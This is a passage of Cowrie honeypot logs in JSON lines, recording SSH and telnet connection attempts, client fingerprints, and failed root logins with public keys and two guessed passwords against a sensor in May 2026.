f5:90:aa:ac:5e:d1:4d:95:e2:ae:95:7c:54:5f:94:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.330977Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:90:aa:ac:5e:d1:4d:95:e2:ae:95:7c:54:5f:94:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG0Wfqjd80egm6zfXIWoAVBBBkVBAuTIJHzkRV9+jecKB1HEXKv1RTQku/dwnl5lfVgeiwjQDi+qD/xlkd6lzri2GfwHTzlNfOpq4hEzXQmNjli0YmOd8RJdEt2hiPbDfbGrsmyjH2kSo+bvO6LjCu7phHpSPFU64gVjd4g2xnRurB8mRlv9zzyDwlYYn6c44OsiKtE/jGjN88vClf0ZYO8tDz4hLoDU9Sl+kmz+0xeYTzIPBbf59g1QQKSOa4AyamFGiqi2J/6ZBdUdW9OMyu9RNwKMmK6vdvbTJmWgkQ3MMaSYo3KO1snAOqk8GzsT+HGzewhyGju3pr/7X3JR9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.336791Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:2b:4b:12:a0:4b:cf:34:e5:d7:a1:43:1f:fc:5c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiJhN9H8Go8nWtLJr4Q1gWWOG+OwT36KU8qDJvSHLHAUf+crlOWfHXwtUxDhWWeBJOWebGZ2pYrxeV5lrG1MlS8VwDzAjEb/3FVUwapz8pjN61ytB/+kJMFViINvZjXxGR3U2u+rSj4ncrIAkxqQsR3HBenmSFk8yVEXVuK6CdqpPK4ghD5SgEn0mYHgowmQPacbujUk1l5LSF2pPjOytPgALNqy0vryY5jS32tHJXhunzcpwtEija15Uv6FvfQHK4gZgSyR6cGHkbiQ/8VTHrsDhbe9BgBPk2YtXTsxcX5TaI84EufF0d/FEeIY9Ca84tLg95lp+VBKs195HFK39ah6AWbd20YfvwNU4ocACeF1UCgw+ngcKm/lxvVcSrCsAP4CdmaU6YDZDc1tvrGMpQ5hIEMOFnsDkMh9DgFp/XhYnPT3eapbaLT9WrpTtoHGnjKkoTx3JS+B6GG1Fi/ctMkk/0xQ1z9L/BlIzyEztHLhC4FAdF1sXuAJKbJKEIDf0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:2b:4b:12:a0:4b:cf:34:e5:d7:a1:43:1f:fc:5c:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.360991Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:2b:4b:12:a0:4b:cf:34:e5:d7:a1:43:1f:fc:5c:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCiJhN9H8Go8nWtLJr4Q1gWWOG+OwT36KU8qDJvSHLHAUf+crlOWfHXwtUxDhWWeBJOWebGZ2pYrxeV5lrG1MlS8VwDzAjEb/3FVUwapz8pjN61ytB/+kJMFViINvZjXxGR3U2u+rSj4ncrIAkxqQsR3HBenmSFk8yVEXVuK6CdqpPK4ghD5SgEn0mYHgowmQPacbujUk1l5LSF2pPjOytPgALNqy0vryY5jS32tHJXhunzcpwtEija15Uv6FvfQHK4gZgSyR6cGHkbiQ/8VTHrsDhbe9BgBPk2YtXTsxcX5TaI84EufF0d/FEeIY9Ca84tLg95lp+VBKs195HFK39ah6AWbd20YfvwNU4ocACeF1UCgw+ngcKm/lxvVcSrCsAP4CdmaU6YDZDc1tvrGMpQ5hIEMOFnsDkMh9DgFp/XhYnPT3eapbaLT9WrpTtoHGnjKkoTx3JS+B6GG1Fi/ctMkk/0xQ1z9L/BlIzyEztHLhC4FAdF1sXuAJKbJKEIDf0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.364819Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:65:d2:50:4b:e7:ef:e9:32:85:cc:dc:b9:ba:38:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuK11hgGesWJkN2yrjty+nim7fzIC2GI+vTernQymXKSKDobeMFpDhcCpcAhdPM+ASN8fk/Kn4KT6celNHq1cjV1H4CC4HGMeR7ZK6AuTWrKMvfgBLiXPxH4PpiKXP8zqdkblY1eZaMUVrkjK44hvsDf1/H0VNsAenX93eRyf+sUi3wbz1mpCr4vwC3wjseG0LadQCloNAG22Ue7g7TxLhp/b8JMutLcPREdG7p+1YZsSFPM7txR8Yza92UoAOR6De/RVOjg6A0DWjA+CJa+k5pba4sz07zxJRgdTlqZA8erM1jCEwsc7QAjE674Iy0PppdTrFUgxYM7mXkFPQ30Qe6/P9Rl3Etzr+G/sZRgNZoay7kJ1mC8XtWdIijGJ7u4uMZrH04cO+yZJueCB6mS1FlHfchyk6nYmdObCEBwsZ8zT+1GMzpLXiR0Zmr7kW8uCQOTW7kDl9erNcd9auW4AliTmziJYVpbX1focZhSejtaNhmiq0ZoviOjAg6NCYEc2wdSkeQ/mgz7Ey2b84JeFs2drWvSHlfFn+OqLa0sUcixaDILJajk63vNrMrMmoXmxdRqx2yTZfMdFbnoZ8v2BI4BOU93NBh/j8OGhDkUU7QrjIcTUa526rmWshsr0AbJDigNBtj5weHAauRTMM/QiZKADP570YeW/rz3LQNwfycw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:65:d2:50:4b:e7:ef:e9:32:85:cc:dc:b9:ba:38:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.389148Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:65:d2:50:4b:e7:ef:e9:32:85:cc:dc:b9:ba:38:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuK11hgGesWJkN2yrjty+nim7fzIC2GI+vTernQymXKSKDobeMFpDhcCpcAhdPM+ASN8fk/Kn4KT6celNHq1cjV1H4CC4HGMeR7ZK6AuTWrKMvfgBLiXPxH4PpiKXP8zqdkblY1eZaMUVrkjK44hvsDf1/H0VNsAenX93eRyf+sUi3wbz1mpCr4vwC3wjseG0LadQCloNAG22Ue7g7TxLhp/b8JMutLcPREdG7p+1YZsSFPM7txR8Yza92UoAOR6De/RVOjg6A0DWjA+CJa+k5pba4sz07zxJRgdTlqZA8erM1jCEwsc7QAjE674Iy0PppdTrFUgxYM7mXkFPQ30Qe6/P9Rl3Etzr+G/sZRgNZoay7kJ1mC8XtWdIijGJ7u4uMZrH04cO+yZJueCB6mS1FlHfchyk6nYmdObCEBwsZ8zT+1GMzpLXiR0Zmr7kW8uCQOTW7kDl9erNcd9auW4AliTmziJYVpbX1focZhSejtaNhmiq0ZoviOjAg6NCYEc2wdSkeQ/mgz7Ey2b84JeFs2drWvSHlfFn+OqLa0sUcixaDILJajk63vNrMrMmoXmxdRqx2yTZfMdFbnoZ8v2BI4BOU93NBh/j8OGhDkUU7QrjIcTUa526rmWshsr0AbJDigNBtj5weHAauRTMM/QiZKADP570YeW/rz3LQNwfycw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.392784Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:fc:95:0c:6e:7e:85:bc:d4:e6:d0:29:98:f5:7a:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB8z7juRiHNfDyBw2VBp/W5FjazfJ/BfskdHWiSVI2khhFf3vveIR46O3LgdbhXUQ/c/XC9m8CDN8+AxqzWNn7ysGWGICJobG6VQldBm10PzIaBz/CR5xQ7unqgmODZYStlPC+p89p8PZyO0pzdENkky6vfPdByE7pdB/LDgRZLopbK4KgsS1UhM1hKXWbAsP8/6kIUQoudmTP51Zdkawfl0dVtxmHzLSKYRJwmRgLw8k65mZc6l1ftJFmfg6vEMUpjTeszoPCCUjaUcV/kIjughN6ePUFxNd8XzEhqQ5lIOIwdr3Rue+jI6ylVP+ODOTxLCwib9GDUO5Ssu8YrJkz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:fc:95:0c:6e:7e:85:bc:d4:e6:d0:29:98:f5:7a:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.416699Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:fc:95:0c:6e:7e:85:bc:d4:e6:d0:29:98:f5:7a:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB8z7juRiHNfDyBw2VBp/W5FjazfJ/BfskdHWiSVI2khhFf3vveIR46O3LgdbhXUQ/c/XC9m8CDN8+AxqzWNn7ysGWGICJobG6VQldBm10PzIaBz/CR5xQ7unqgmODZYStlPC+p89p8PZyO0pzdENkky6vfPdByE7pdB/LDgRZLopbK4KgsS1UhM1hKXWbAsP8/6kIUQoudmTP51Zdkawfl0dVtxmHzLSKYRJwmRgLw8k65mZc6l1ftJFmfg6vEMUpjTeszoPCCUjaUcV/kIjughN6ePUFxNd8XzEhqQ5lIOIwdr3Rue+jI6ylVP+ODOTxLCwib9GDUO5Ssu8YrJkz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.420724Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.446923Z","src_ip":"63.143.63.51","session":"4a76fb5f90cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a9f2104f8d","protocol":"telnet","message":"New connection: 152.42.224.71:40108 (10.17.0.5:23) [session: 63a9f2104f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:47.907449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b52d80acb8","protocol":"telnet","message":"New connection: 152.42.224.71:40114 (10.17.0.5:23) [session: 83b52d80acb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:49.222798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"83179bf0b0e4","protocol":"ssh","message":"New connection: 103.149.28.157:44326 (10.17.0.5:22) [session: 83179bf0b0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:50.669146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:50.673633Z","src_ip":"103.149.28.157","session":"83179bf0b0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:50.924491Z","src_ip":"103.149.28.157","session":"83179bf0b0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stella","message":"login attempt [root/stella] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:51.679060Z","src_ip":"103.149.28.157","session":"83179bf0b0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:52.933292Z","src_ip":"103.149.28.157","session":"83179bf0b0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40126,"dst_ip":"10.17.0.5","dst_port":23,"session":"826eda18c8a3","protocol":"telnet","message":"New connection: 152.42.224.71:40126 (10.17.0.5:23) [session: 826eda18c8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:55.291342Z"}
{"eventid":"cowrie.session.closed","duration":49.53776836395264,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:51:56.917812Z","src_ip":"152.42.224.71","session":"cde35d5c2667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39992,"dst_ip":"10.17.0.5","dst_port":23,"session":"7537dd9d4cd8","protocol":"telnet","message":"New connection: 152.42.224.71:39992 (10.17.0.5:23) [session: 7537dd9d4cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:01.352507Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"666eac5850a0","protocol":"telnet","message":"New connection: 152.42.224.71:40004 (10.17.0.5:23) [session: 666eac5850a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:02.225050Z"}
{"eventid":"cowrie.session.closed","duration":64.01715874671936,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:04.096767Z","src_ip":"152.42.224.71","session":"fca07e2db7ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00208616256714,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:04.728004Z","src_ip":"152.42.224.71","session":"11b6a0bb7c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad56864ab5c","protocol":"telnet","message":"New connection: 152.42.224.71:34912 (10.17.0.5:23) [session: 6ad56864ab5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:09.603151Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34914,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e2e49cbd218","protocol":"telnet","message":"New connection: 152.42.224.71:34914 (10.17.0.5:23) [session: 0e2e49cbd218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:12.998677Z"}
{"eventid":"cowrie.session.closed","duration":25.555744886398315,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:13.463084Z","src_ip":"152.42.224.71","session":"63a9f2104f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56830,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2c3fe98674","protocol":"telnet","message":"New connection: 152.42.224.71:56830 (10.17.0.5:23) [session: db2c3fe98674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:17.210811Z"}
{"eventid":"cowrie.session.closed","duration":47.5550971031189,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:17.368847Z","src_ip":"152.42.224.71","session":"dcca5dc692de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.32491683959961,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:25.770006Z","src_ip":"152.42.224.71","session":"acd45f551c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.77575922012329,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:27.930057Z","src_ip":"152.42.224.71","session":"ef4231986a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56104,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7a2b4a447ef","protocol":"telnet","message":"New connection: 152.42.224.71:56104 (10.17.0.5:23) [session: d7a2b4a447ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:38.286687Z"}
{"eventid":"cowrie.session.closed","duration":39.174763441085815,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:40.527155Z","src_ip":"152.42.224.71","session":"7537dd9d4cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52184,"dst_ip":"10.17.0.5","dst_port":22,"session":"8927ffd530b1","protocol":"ssh","message":"New connection: 80.66.85.226:52184 (10.17.0.5:22) [session: 8927ffd530b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:41.829346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:41.833893Z","src_ip":"80.66.85.226","session":"8927ffd530b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:41.923387Z","src_ip":"80.66.85.226","session":"8927ffd530b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.64878606796265,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:41.940006Z","src_ip":"152.42.224.71","session":"826eda18c8a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"753159","message":"login attempt [root/753159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:42.190208Z","src_ip":"80.66.85.226","session":"8927ffd530b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56116,"dst_ip":"10.17.0.5","dst_port":23,"session":"d06e9d3c908f","protocol":"telnet","message":"New connection: 152.42.224.71:56116 (10.17.0.5:23) [session: d06e9d3c908f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:42.332570Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:43.282425Z","src_ip":"80.66.85.226","session":"8927ffd530b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56124,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b8d164e9d0","protocol":"telnet","message":"New connection: 152.42.224.71:56124 (10.17.0.5:23) [session: 59b8d164e9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:43.652616Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41490,"dst_ip":"159.203.135.109","dst_port":22,"session":"22eeb623fbe4","protocol":"ssh","message":"New connection: 103.27.238.116:41490 (159.203.135.109:22) [session: 22eeb623fbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:46.688507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:46.692614Z","src_ip":"103.27.238.116","session":"22eeb623fbe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:46.956817Z","src_ip":"103.27.238.116","session":"22eeb623fbe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc5ce585a8c","protocol":"ssh","message":"New connection: 87.251.64.176:20000 (10.17.0.5:22) [session: ecc5ce585a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.328480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.332984Z","src_ip":"87.251.64.176","session":"ecc5ce585a8c","protocol":"ssh"}
